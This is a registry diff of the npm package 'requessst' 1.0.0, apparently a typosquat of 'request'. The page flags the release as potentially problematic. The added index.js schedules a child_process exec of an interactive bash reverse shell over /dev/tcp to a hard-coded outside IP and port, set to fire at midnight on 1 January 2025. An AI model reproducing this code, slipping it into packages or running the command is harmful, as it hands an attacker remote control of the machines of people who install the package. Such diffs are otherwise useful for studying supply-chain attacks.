requessst 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of requessst might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +19 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const schedule = require('node-schedule');
2
+ const { exec } = require('child_process');
3
+
4
+ // 设置任务在2025年1月1日午夜执行
5
+ const date = new Date(2025, 0, 1, 0, 0, 0);
6
+
7
+ const job = schedule.scheduleJob(date, function() {
8
+ exec('bash -i >& /dev/tcp/100.69.249.146/10001 0>&1', (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`exec error: ${error}`);
11
+ return;
12
+ }
13
+ if (stderr) {
14
+ console.error(`stderr: ${stderr}`);
15
+ return;
16
+ }
17
+ console.log(`stdout: ${stdout}`);
18
+ });
19
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "requessst",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }